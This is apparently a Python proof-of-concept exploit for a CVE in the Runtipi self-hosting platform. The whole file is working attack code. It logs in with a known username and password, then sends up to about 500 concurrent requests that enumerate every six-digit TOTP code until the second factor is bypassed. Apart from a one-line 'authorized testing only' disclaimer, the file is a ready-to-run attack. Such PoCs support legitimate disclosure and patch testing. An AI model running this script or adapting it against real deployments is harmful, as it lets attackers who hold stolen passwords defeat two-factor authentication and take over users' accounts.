#!/usr/bin/env python3
"""
CVE-2026-32729 PoC - Runtipi TOTP Brute Force Attack
Note: This PoC is for educational and authorized security testing purposes only.
"""
import requests
import itertools
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
TARGET_URL = "https://your-runtipi-instance.com/api/auth/verify-totp"
USERNAME = "
[email protected]"
PASSWORD = "user_password"
TARGET_TOTP = "123456" # Replace with target user's valid TOTP
def login(username, password):
"""Authenticate and get session token"""
session = requests.Session()
login_data = {"email": username, "password": password}
response = session.post(f"{TARGET_URL.replace('/verify-totp', '/login')}", json=login_data)
if response.status_code == 200:
return session, response.json()
return None, None
def try_totp(session, totp_code):
"""Attempt TOTP verification"""
try:
response = session.post(TARGET_URL, json={"code": totp_code})
if response.status_code == 200:
result = response.json()
if result.get("success") or result.get("verified"):
return True, totp_code
except requests.RequestException:
pass
return False, None
def brute_force_totp(session, max_attempts=1000000, rate=500):
"""
Brute force TOTP code
With rate limiting at ~500 req/s, full keyspace takes ~33 minutes
"""
print(f"[*] Starting TOTP brute force attack against {TARGET_URL}")
print(f"[*] Target: {USERNAME}")
print(f"[*] Rate: ~{rate} req/s, Estimated time: ~{1000000//rate//60} minutes")
start_time = time.time()
attempt = 0
with ThreadPoolExecutor(max_workers=rate) as executor:
futures = {}
for i in range(0, min(max_attempts, 1000000), 1):
totp = f"{i:06d}"
futures[executor.submit(try_totp, session, totp)] = totp
if len(futures) >= rate:
for future in as_completed(list(futures.keys())):
attempt += 1
success, code = future.result()
if success:
elapsed = time.time() - start_time
print(f"[+] SUCCESS! TOTP code found: {code}")
print(f"[+] Attempts: {attempt}, Time: {elapsed:.2f}s")
return code
if attempt % 10000 == 0:
print(f"[*] Progress: {attempt}/{max_attempts} attempts ({attempt/max_attempts*100:.2f}%)")
futures = {}
print(f"[-] TOTP code not found within {max_attempts} attempts")
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-32729 - Runtipi TOTP Brute Force PoC")
print("WARNING: For authorized security testing only!")
print("=" * 60)
# Step 1: Login with valid credentials
print("\n[1] Authenticating with valid credentials...")
session, login_result = login(USERNAME, PASSWORD)
if not session:
print("[-] Authentication failed")
exit(1)
print("[+] Authentication successful")
# Step 2: Brute force TOTP
print("\n[2] Starting TOTP brute force...")
result = brute_force_totp(session)
if result:
print(f"\n[!] 2FA BYPASSED - Valid TOTP: {result}")
else:
print("\n[-] Attack failed - TOTP not found")